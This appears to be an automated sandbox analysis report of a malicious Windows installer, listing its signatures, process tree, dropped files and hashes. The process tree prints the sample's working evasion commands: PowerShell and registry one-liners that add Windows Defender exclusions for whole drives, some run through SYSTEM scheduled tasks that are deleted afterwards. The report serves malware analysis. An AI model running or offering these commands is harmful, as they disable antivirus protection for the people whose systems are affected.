Analysis

  • max time kernel
    147s
  • max time network
    150s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    25/08/2026, 03:30

General

  • Target
    install_h8.0.11.exe
  • Size 25.7MB
  • Sample260825-d2gp8asvcy
  • SHA256 1e05c2fc6ddf1b7c9b03c63233c4590fdfab69aed3ead0c7b42d5b523df65463
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 6 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Program Files directory 9 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 3 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\install_h8.0.11.exe
    "C:\Users\Admin\AppData\Local\Temp\install_h8.0.11.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    PID:3292
  • C:\Users\Public\UU28uE\fB4YGA.exe
    "C:\Users\Public\UU28uE\fB4YGA.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4628
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of AdjustPrivilegeToken
      PID:4240
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\UU28uE\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:608
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\UU28uE\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:1684
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:4568
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:2736
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:5240
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:1844
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:3876
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:2780
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:2608
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:2924
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:2340
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:1248
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:3184
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:4320
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:2296
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:1368
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      • Suspicious use of WriteProcessMemory
                      PID:3540
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:1220
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:908
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:3172
                        • C:\Program Files (x86)\2QOAVT\44XwaI.exe
                          "C:\Program Files (x86)\2QOAVT\44XwaI.exe"
                          2⤵
                            PID:3692
                        • C:\Users\Public\UU28uE\fB4YGA.exe
                          "C:\Users\Public\UU28uE\fB4YGA.exe"
                          1⤵
                          • Executes dropped EXE
                          • Loads dropped DLL
                          PID:4476
                        • C:\Windows\system32\cmd.exe
                          cmd.exe
                          1⤵
                            PID:1892
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\UU28uE" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:1728
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\UU28uE" /t REG_DWORD /d 0 /f
                              2⤵
                              • Windows security bypass
                              PID:4340
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:5088
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                              2⤵
                              • Windows security bypass
                              PID:2332
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:2524
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                              2⤵
                              • Windows security bypass
                              PID:2544

                          Network

                                MITRE ATT&CK Enterprise v16

                                Replay Monitor

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                                Downloads

                                44XwaI.exe

                                • Path C:\Program Files (x86)\2QOAVT\44XwaI.exe
                                • Size 145KB
                                • SHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                XPSPLOG.dll

                                • Path C:\Program Files (x86)\2QOAVT\XPSPLOG.dll
                                • Size 4.6MB
                                • SHA256 e167ad7d9e47c586dbd78fc0192c2d6f6dd5902195f3f1c5b31c49cb53659c31
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                image.png

                                • Path C:\Program Files (x86)\2QOAVT\image.png
                                • Size 5.0MB
                                • SHA256 7b8d6cd341d9b466ece65118398290de55ec88e6f36a9a12210cf2bb82b5a3bc
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                UxEnhance64.dll

                                • Path C:\Users\Public\UU28uE\UxEnhance64.dll
                                • Size 3.1MB
                                • SHA256 dd61c4e9671d8020a1d6c06918c6e3301ba0bdefa928173d22c3ea86764cad75
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                adoresd.dat

                                • Path C:\Users\Public\UU28uE\adoresd.dat
                                • Size 4.7MB
                                • SHA256 9dd0214d592e8be5f9b5b20d8b73d3787f941251475914ab817b07983320b696
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                fB4YGA.exe

                                • Path C:\Users\Public\UU28uE\fB4YGA.exe
                                • Size 135KB
                                • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                msadox.tb

                                • Path C:\Users\Public\UU28uE\msadox.tb
                                • Size 8KB
                                • SHA256 d43107eee85215aac2453fca69854cf7d792db81cc8929050a8542738b1d2a2d
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                memory/3292-525-0x00007FFA9D7F0000-0x00007FFA9D802000-memory.dmp

                                memory/3292-1-0x00000000007A0000-0x00000000007AE000-memory.dmp

                                memory/3292-524-0x00000000007A0000-0x00000000007AE000-memory.dmp

                                memory/3292-0-0x00000000007A0000-0x00000000007AE000-memory.dmp

                                memory/3292-504-0x00007FFA9D7F0000-0x00007FFA9D802000-memory.dmp

                                memory/3292-2-0x00000000007B0000-0x00000000007BC000-memory.dmp

                                memory/3692-675-0x00000000013A0000-0x00000000013A1000-memory.dmp

                                memory/3692-676-0x0000000074D30000-0x000000007547A000-memory.dmp

                                memory/3692-680-0x0000000003760000-0x0000000003F63000-memory.dmp

                                memory/4240-607-0x0000022F7B4F0000-0x0000022F7B4FA000-memory.dmp

                                memory/4240-603-0x0000022F7B720000-0x0000022F7B7D2000-memory.dmp

                                memory/4240-602-0x0000022F7B700000-0x0000022F7B71E000-memory.dmp

                                memory/4240-599-0x0000022F7B4A0000-0x0000022F7B4C2000-memory.dmp

                                memory/4476-587-0x00007FFAA7F70000-0x00007FFAA7F72000-memory.dmp

                                memory/4476-578-0x00007FFAA7F80000-0x00007FFAA7F82000-memory.dmp

                                memory/4476-579-0x000001CB3E8A0000-0x000001CB3F127000-memory.dmp

                                memory/4476-583-0x000001CB3E8A0000-0x000001CB3F127000-memory.dmp

                                memory/4476-585-0x000001CB3E8A0000-0x000001CB3F127000-memory.dmp

                                memory/4476-586-0x000001CB3E8A0000-0x000001CB3F127000-memory.dmp

                                memory/4476-584-0x000001CB3E8A0000-0x000001CB3F127000-memory.dmp

                                memory/4476-572-0x00007FFA87740000-0x00007FFA87C5E000-memory.dmp

                                memory/4476-575-0x000001CB3E8A0000-0x000001CB3F127000-memory.dmp

                                memory/4628-558-0x0000018B906F0000-0x0000018B9077A000-memory.dmp

                                memory/4628-546-0x0000018B91170000-0x0000018B919F7000-memory.dmp

                                memory/4628-563-0x0000018B91170000-0x0000018B919F7000-memory.dmp

                                memory/4628-556-0x0000018B90610000-0x0000018B9065E000-memory.dmp

                                memory/4628-560-0x0000018B906F0000-0x0000018B9077A000-memory.dmp

                                memory/4628-557-0x0000018B906F0000-0x0000018B9077A000-memory.dmp

                                memory/4628-559-0x0000018B906F0000-0x0000018B9077A000-memory.dmp

                                memory/4628-550-0x0000018B91170000-0x0000018B919F7000-memory.dmp

                                memory/4628-544-0x0000018B91170000-0x0000018B919F7000-memory.dmp

                                memory/4628-565-0x0000018B91170000-0x0000018B919F7000-memory.dmp

                                memory/4628-545-0x0000018B91170000-0x0000018B919F7000-memory.dmp

                                memory/4628-543-0x0000018B91170000-0x0000018B919F7000-memory.dmp

                                memory/4628-539-0x0000018B91170000-0x0000018B919F7000-memory.dmp

                                memory/4628-538-0x00007FFAA7F80000-0x00007FFAA7F82000-memory.dmp

                                memory/4628-536-0x0000018B91170000-0x0000018B919F7000-memory.dmp

                                memory/4628-531-0x00007FFA87740000-0x00007FFA87C5E000-memory.dmp

                                memory/4628-530-0x00007FFAA7F70000-0x00007FFAA7F72000-memory.dmp